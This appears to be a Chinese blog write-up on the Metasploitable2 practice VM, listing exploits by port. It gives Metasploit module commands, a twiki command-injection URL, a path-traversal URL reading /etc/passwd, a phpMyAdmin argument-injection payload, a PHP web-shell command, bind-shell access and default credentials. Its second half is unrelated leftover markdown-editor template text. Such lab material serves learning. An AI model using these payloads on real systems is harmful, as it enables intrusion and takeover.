metasploitable2靶场漏洞总结（部分）

Posted 2023-03-30 leavrow

metasploitable2

• • 端口
  • 21vsftpd2.3.4笑脸后门漏洞
  • 22弱口令
  • 23弱口令
  • 25 CNNVD-200111-004
  • 53 ISC BIND
  • 80 http
  • 111 rpcbind
  • 139/445 smb
  • 512 rexec（远程计算机上运行命令）爆破
  • 1099 java-rmi
  • 1524 bind_shell
  • 2049 nfs
  • 2121 ftp
  • 3306 mysql
  • 3632 distccd
  • 5432 postgresql
  • 5900 vnc
  • 6667/6697 irc
  • 8009 ajp
  • 8180 tomcat示例漏洞
  • 8787 drb
  • 功能快捷键
  • 合理的创建标题，有助于目录的生成
  • 如何改变文本的样式
  • 插入链接与图片
  • 如何插入一段漂亮的代码片
  • 生成一个适合你的列表
  • 创建一个表格
  • • 设定内容居中、居左、居右
    • SmartyPants
  • 创建一个自定义列表
  • 如何创建一个注脚
  • 注释也是必不可少的
  • KaTeX数学公式
  • 新的甘特图功能，丰富你的文章
  • UML 图表
  • FLowchart流程图
  • 导出与导入
  • • 导出
    • 导入

端口

使用nmap扫描可得：

21vsftpd2.3.4笑脸后门漏洞

程序的后门代码绑定的侦听端口是 6200。
通过ftp进行连接 在账号后加上:)，密码随意，这时会登录失败，再次扫描6200端口，会发现6200端口已经打开，最后用nc连接6200端口就能执行命令了。也可以使用msf搜索vsftpd，利用msf里的脚本攻击。

22弱口令

hydra -L logins.txt -P pws.txt -M targets.txt ssh 或者 使用msf里的ssh_enumusers 来爆破（msfadmin/msfadmin）。

23弱口令

msfadmin/msfadmin

25 CNNVD-200111-004

低危，产生超多SMTP错误导致服务拒绝（内存耗尽）。

53 ISC BIND

80 http

1. twiki漏洞
   twiki版本为 01
   http://192.168.230.130/twiki/bin/view/Main/TWikiUsers?rev=2%20|whoami||echo
   
   当twiki版本为4.0.x时，存在任意文件读取
   http://example.com/bin/viewfile/TWiki/TWikiDocGraphics?rev=1;filename=…/…/…/…/…/etc/passwd
2. phpmyadmin漏洞
   版本：3.1.1
   爆破目录
   
   扫到setup文件，
   登录界面重放操作
   修改url为

/phpmyadmin/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input

表示修改配置文件中的参数all_url_include(打开引用文件功能)和auto_prepend_file(附加文件)
passthru为执行命令
可以使用echo “<?php \\$cmd = \\$_GET["cmd"];system(\\$cmd);?>” > /var/www/cmd.php 命令来添加shell
反弹shell操作

3. cgi参数注入
   server API 是CGI方式运行的，这个方式在PHP存在漏洞-Cgi参数注入
   use exploit/multi/http/php_cgi_arg_injection
4. webdav
   https://blog.csdn.net/qq_41861526/article/details/103414741

111 rpcbind

use auxiliary/scanner/misc/sunrpc_portmapper
search sunrpc

139/445 smb

use exploit/multi/samba/usermap_script
最后smbclient -L //192.168.206.216获取共享目录
search smb （大部分为远程执行漏洞）
可能存在共享弱口令：netbios-ssn://192.168.230.130 （及使用IPC$连接，尝试连接未成功）
用户名/密码：User/User

512 rexec（远程计算机上运行命令）爆破

hydra爆破

1099 java-rmi

CVE-2011-3556:
use exploit/multi/misc/java_rmi_server
set payload java/meterpreter/reverse_tcp
set RHOSTS xxx
run

CVE-2017-3241 rmi反序列化漏洞
存在有缺陷的第三方库如commons-collections（主要缺陷为第三方库）

1524 bind_shell

metasploitable2本身有shell，可以直接连接
nc 192.168.230.130 1524

2049 nfs

nfs有信息泄露漏洞

showmount -e 192.168.230.130 2049

但是靶场好像没有

2121 ftp

1. 超级弱口令扫描出来存在弱口令
   
2. vsftpd后门漏洞
   search vsftpd
   use exploit/unix/ftp/vsftpd_234_backdoor

3306 mysql

用户名root 密码为空

3632 distccd

use exploit/unix/misc/distcc_exec
show payloads
 set payload cmd/unix/bind_perl
run

5432 postgresql

爆破

5900 vnc

爆破，密码为password

6667/6697 irc

search rcd
use exploit/unix/irc/unreal_ircd_3281_backdoor
show options
set rhosts 192.168.206.216
run

8009 ajp

poc下载：https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

8180 tomcat示例漏洞

当tomcat默认页面manager/html需要输入账号和密码时，metasploit 中有扫描器tomcat_mgr_login获取账号密码。用账号密码登录后，有上传war（压缩包rar改名为war）的地方，上传成功后，在url根目录添加上war包名/压缩包里的文件?cmd=whoami

也可以使用jar -cvf xx.war xx.jsp 生成war包，上传后访问 http://127.0.0.1:8080/war 包名(无后缀) / 包名内文件名

8787 drb

search drb
use use exploit/linux/misc/drb_remote_codeexec
set rhosts 192.168.206.216
run

功能快捷键

撤销：Ctrl/Command + Z
重做：Ctrl/Command + Y
加粗：Ctrl/Command + B
斜体：Ctrl/Command + I
标题：Ctrl/Command + Shift + H
无序列表：Ctrl/Command + Shift + U
有序列表：Ctrl/Command + Shift + O
检查列表：Ctrl/Command + Shift + C
插入代码：Ctrl/Command + Shift + K
插入链接：Ctrl/Command + Shift + L
插入图片：Ctrl/Command + Shift + G
查找：Ctrl/Command + F
替换：Ctrl/Command + G

合理的创建标题，有助于目录的生成

直接输入1次#，并按下space后，将生成1级标题。
输入2次#，并按下space后，将生成2级标题。
以此类推，我们支持6级标题。有助于使用TOC语法后生成一个完美的目录。

如何改变文本的样式

强调文本 强调文本

加粗文本 加粗文本

标记文本

删除文本

引用文本

H₂O is是液体。

2¹⁰ 运算结果是 1024.

插入链接与图片

链接: link.

图片:

带尺寸的图片:

居中的图片:

居中并且带尺寸的图片:

当然，我们为了让用户更加便捷，我们增加了图片拖拽功能。

如何插入一段漂亮的代码片

去博客设置页面，选择一款你喜欢的代码片高亮样式，下面展示同样高亮的 代码片.

// An highlighted block
var foo = 'bar';

生成一个适合你的列表

• 项目
  • 项目
    • 项目

1. 项目1
2. 项目2
3. 项目3

• 计划任务
• 完成任务

创建一个表格

一个简单的表格是这么创建的：

项目	Value
电脑	$1600
手机	$12
导管	$1

设定内容居中、居左、居右

使用:---------:居中
使用:----------居左
使用----------:居右

第一列	第二列	第三列
第一列文本居中	第二列文本居右	第三列文本居左

SmartyPants

SmartyPants将ASCII标点字符转换为“智能”印刷标点HTML实体。例如：

TYPE	ASCII	HTML
Single backticks	'Isn't this fun?'	‘Isn’t this fun?’
Quotes	"Isn't this fun?"	“Isn’t this fun?”
Dashes	-- is en-dash, --- is em-dash	– is en-dash, — is em-dash

创建一个自定义列表

Markdown

Text-to- HTML conversion tool

Authors

John

Luke

如何创建一个注脚

一个具有注脚的文本。¹

注释也是必不可少的

Markdown将文本转换为 HTML。

KaTeX数学公式

您可以使用渲染LaTeX数学表达式 KaTeX:

Gamma公式展示 $\Gamma (n)=(n-1)!\forall n\in \mathbb{N}$ 是通过欧拉积分

$$\Gamma (z)={\int }_0^{\infty }{t}^{z-1}{e}^{-t}dt.$$

你可以找到更多关于的信息 LaTeX 数学表达式here.

新的甘特图功能，丰富你的文章

• 关于 甘特图 语法，参考 这儿,

UML 图表

可以使用UML图表进行渲染。 Mermaid. 例如下面产生的一个序列图：

这将产生一个流程图。:

• 关于 Mermaid 语法，参考 这儿,

FLowchart流程图

我们依旧会支持flowchart的流程图：

• 关于 Flowchart流程图 语法，参考 这儿.

导出与导入

导出

如果你想尝试使用此编辑器, 你可以在此篇文章任意编辑。当你完成了一篇文章的写作, 在上方工具栏找到 文章导出 ，生成一个.md文件或者.html文件进行本地保存。

导入

如果你想加载一篇你写过的.md文件，在上方工具栏可以选择导入功能进行对应扩展名的文件导入，
继续你的创作。

---

1. 注脚的解释 Pikachu靶场之文件包含漏洞详解

   Pikachu靶场之XSS漏洞详解

   在VMware上安装Metasploitable2

   Docker搭建靶场初探(主要对坑点进行总结)

   八漏洞原理及利用XXE 笔记和靶场

   靶场科普 | 中间件之Jboss反序列化漏洞